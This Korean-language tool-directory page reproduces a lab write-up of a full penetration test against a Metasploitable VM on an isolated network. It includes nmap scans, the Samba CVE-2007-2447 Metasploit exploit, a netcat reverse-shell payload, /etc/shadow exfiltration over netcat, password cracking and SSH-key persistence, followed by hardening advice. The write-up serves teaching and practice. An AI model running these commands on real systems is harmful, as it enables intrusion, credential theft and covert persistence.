Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
metasploitable-pentest-lab — Metasploitable에 대한 전체 펜테스트: nmap 정찰, Metasploit 익스플로잇(CVE-2007-2447), 자격 증명 추출 및 크래킹, SSH 지속성 | Kitploit
도구/GitHubGitHub/mboatella25/metasploitable-pentest-lab
Password CrackingPrivilege EscalationReconnaissancePersistence MechanismsVulnerability AnalysisExploitationLateral MovementInformation GatheringPost-Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Penetration Testing
Learning & Education
Labs & Practice
GitHubmboatella25/metasploitable-pentest-lab

metasploitable-pentest-lab

Metasploitable에 대한 전체 펜테스트: nmap 정찰, Metasploit 익스플로잇(CVE-2007-2447), 자격 증명 추출 및 크래킹, SSH 지속성

저장소 보기
51개월 전아직 검토되지 않음

Metasploitable 취약점 악용

통제되고 격리된 환경에서의 실제 공격 전체 사이클: 실습 환경 준비, nmap을 통한 정찰, 공격 표면 우선순위 지정, CVE 매핑, Metasploit을 통한 악용, 후속 악용, 자격 증명 추출 및 크래킹, SSH 키 주입을 통한 지속성 확보.

아키텍처: Kali Linux(공격자) 대 Metasploitable(대상), 격리된 host-only 네트워크

1. 환경 준비

  • 공격자: Kali Linux — msfconsole, nmap, John the Ripper.
  • 대상: Metasploitable 1 — Ubuntu 8.04(2010), 패치되지 않았으며 알려진 CVE를 다수 보유.
  • 네트워크: host-only, 두 VM 모두 실제 네트워크와 격리됨(192.168.64.0/24). 피해자 IP: 192.168.64.3.

두 VM 간 연결성 확인

2. Nmap을 통한 정찰

정확히 무엇이 노출되어 있는지 식별하기 위한 버전 스캔 — 취약점은 추상적인 서비스가 아닌 특정 버전에 영향을 미칩니다:

root@kitploit:~
nmap -sV 192.168.64.3

포트 12개가 열려 있으며, 모두 구식이고 악용 가능한 버전.

3. 공격 표면 우선순위 지정

첫 번째 열린 포트를 공격하는 대신, 대상을 선택하기 전에 서비스를 위험 유형별로 분류했습니다:

  • 원격 접속 (22, 23): Telnet은 자격 증명을 평문으로 노출; OpenSSH 4.7p1은 매우 오래된 버전.
  • 웹 애플리케이션 계층 (80, 8180): Apache 2.2.8은 안정 버전보다 한참 뒤처짐; Tomcat은 취약한 자격 증명과 잠재적 RCE 보유.
  • 노출된 데이터베이스 (3306): MySQL 5.0.51a, 데이터에 직접 접근 가능한 구버전.
  • 공유 파일 / 내부 네트워크 (139, 445): Samba, 역사적으로 가장 많이 악용된 서비스 중 하나이며 공개된 CVE 및 익스플로잇 보유.

선택된 대상: Samba 3.0.20-Debian — 문서화된 치명적 취약점이 있는 버전, Metasploit에서 사용 가능한 익스플로잇, 사전 인증 없이 코드 실행 가능: 가장 높은 신뢰성으로 가장 큰 영향.

4. 취약점 매핑

Nmap 스크립팅 엔진(NSE)으로 정확한 버전 확인:

root@kitploit:~
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20은 CVE-2007-2447에 취약합니다: username map script 매개변수가 입력값을 검증하지 않아, 공격자가 사용자 이름 필드에 셸 명령을 직접 주입할 수 있습니다. 매핑은 로그인 이전에 발생하므로 유효한 사용자나 비밀번호가 필요 없습니다.

CVE-2007-2447 레코드: Samba의 username map script를 통한 RCE

5. Metasploit을 통한 악용

root@kitploit:~
msfconsole

Metasploit Framework 시작

해당 모듈 검색:

root@kitploit:~
msf > search type:exploit samba

Samba 익스플로잇 검색 — exploit/multi/samba/usermap_script, rank excellent

구성 및 실행:

root@kitploit:~
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

권한 즉시 확인 — 해당 취약점은 후속 권한 상승 없이 직접 root 접근을 제공합니다:

root@kitploit:~
whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

획득한 셸: whoami가 처음부터 root를 반환

6. 후속 악용: 실제로 어떻게 발생했는가

피해자의 프로세스를 검사하면 주입된 페이로드 자체가 실행되고 있는 것을 볼 수 있습니다:

root@kitploit:~
ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

전송된 사용자 이름에는 명령 자체(/=`...`)가 포함되어 있었습니다: Samba가 이를 정제(sanitize) 없이 셸로 전달했고, 셸은 mkfifo로 파이프를 만들고 netcat으로 Kali로의 역방향 연결을 연 다음 /bin/sh를 해당 파이프에 연결했습니다 — 완전한 원격 코드 실행이 한 줄 한 줄 이루어졌습니다.

netstat -tulnp로 내부 서비스 열거: MySQL이 0.0.0.0:3306에서 수신 중인 것으로 나타났습니다 — localhost뿐만 아니라 네트워크의 모든 머신에 노출되어 있었습니다.

7. 자격 증명 추출 및 크래킹

피해자 머신에서 직접 크래킹을 시도하는 대신(CPU를 소모하고, 노이즈를 만들고, 흔적을 남김), 해시를 추출하여 오프라인으로 공격하기 위해 Kali로 전송했습니다:

root@kitploit:~
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

/etc/shadow에서 추출된 비밀번호 해시

netcat을 통한 전송 및 John the Ripper 준비:

root@kitploit:~
# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John은 세 가지 자동 단계를 실행합니다(사용자 자체 정보를 활용한 single 모드, 사전 공격, 증분 무차별 대입). 결과: 7개 중 6개 비밀번호 크래킹 성공, SSH, MySQL, FTP에 재사용 가능한 자격 증명 포함.

John the Ripper: 비밀번호 6개 크래킹됨

8. 측면 이동 및 지속성

크래킹된 자격 증명으로 합법적인 사용자로서 SSH 직접 접근:

root@kitploit:~
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

크래킹된 자격 증명으로 SSH 접근

교체될 수 있는 비밀번호에 의존하지 않기 위해 자체 키 쌍을 생성하여 피해자의 authorized_keys에 추가했습니다 — 비밀번호 변경 후에도 유지되며 무차별 대입 알림을 발생시키지 않는 백도어입니다:

root@kitploit:~
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # ejecutado en la víctima, ya comprometida

이후 비밀번호 없는 접근:

root@kitploit:~
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

비밀번호 없는 지속적 SSH 접근, 키 인증

발견 사항

  • 열린 포트 12개, 모두 구식 버전 — 공격 표면은 단일 결함이 아니라 수년간 업데이트되지 않은 서비스의 축적이었습니다.
  • 어떤 인증도 없이 악용 가능한 원격 코드 실행 취약점, 노출된 서비스에 대한 최악의 시나리오.
  • 서비스 간(SSH, MySQL, FTP) 약하고 재사용된 자격 증명 — 단일 지점 침해로 여러 서비스에 대한 접근 권한을 얻었습니다.
  • 네트워크 분할 및 기본 하드닝의 완전한 부재(0.0.0.0에 노출된 데이터베이스, Telnet과 같은 레거시 프로토콜 활성 상태).

보안 권장 사항

Telnet과 같은 안전하지 않은 프로토콜 제거, 중요 서비스 및 커널 자체 업데이트, 데이터베이스의 직접 노출 제한, 네트워크 분할 적용, 그리고 무엇보다 — 비밀번호 크래킹이 얼마나 쉬웠는지를 고려할 때 — 강력하고 서비스 간 재사용되지 않는 자격 증명 정책을 강제해야 합니다. 프로덕션에서 이 공격을 차단했을 동일한 유형의 탐지(비정상적인 외부 연결 모니터링, nc/리버스 셸 알림)는 제 Home SOC Lab에서 방어 측면으로 작업하는 내용입니다.

결론

공격 전 우선순위 지정 —무작위로 포트를 시도하는 대신 어떤 서비스가 가장 높은 신뢰성으로 가장 큰 영향을 주는지 이해하는 것— 이 Samba로 직접 이끌었습니다. ps aux에서 주입된 명령 자체가 실행되는 것을 본 후속 악용 단계는 입력 검증 취약점이 왜 시스템 전체 제어로 이어지는지 가장 잘 보여줍니다. 그리고 SSH 키를 통한 지속성은 일단 내부에 진입하면 공격자의 목표가 단순히 "접근 권한을 갖는 것"이 아니라 조용하고 오래 지속되는 접근 권한을 갖는 것임을 분명히 합니다 — 심층 방어가 단 하나의 장벽에 의존해서는 안 되는 더 큰 이유입니다.

도구 다운로드
포트서비스버전
21/tcpftpProFTPD 1.3.1
22/tcpsshOpenSSH 4.7p1 Debian 8ubuntu1
23/tcptelnetLinux telnetd
80/tcphttpApache httpd 2.2.8
139,445/tcpnetbios-ssnSamba smbd 3.X — 주요 대상
3306/tcpmysqlMySQL 5.0.51a
8180/tcphttpApache Tomcat/Coyote JSP 1.1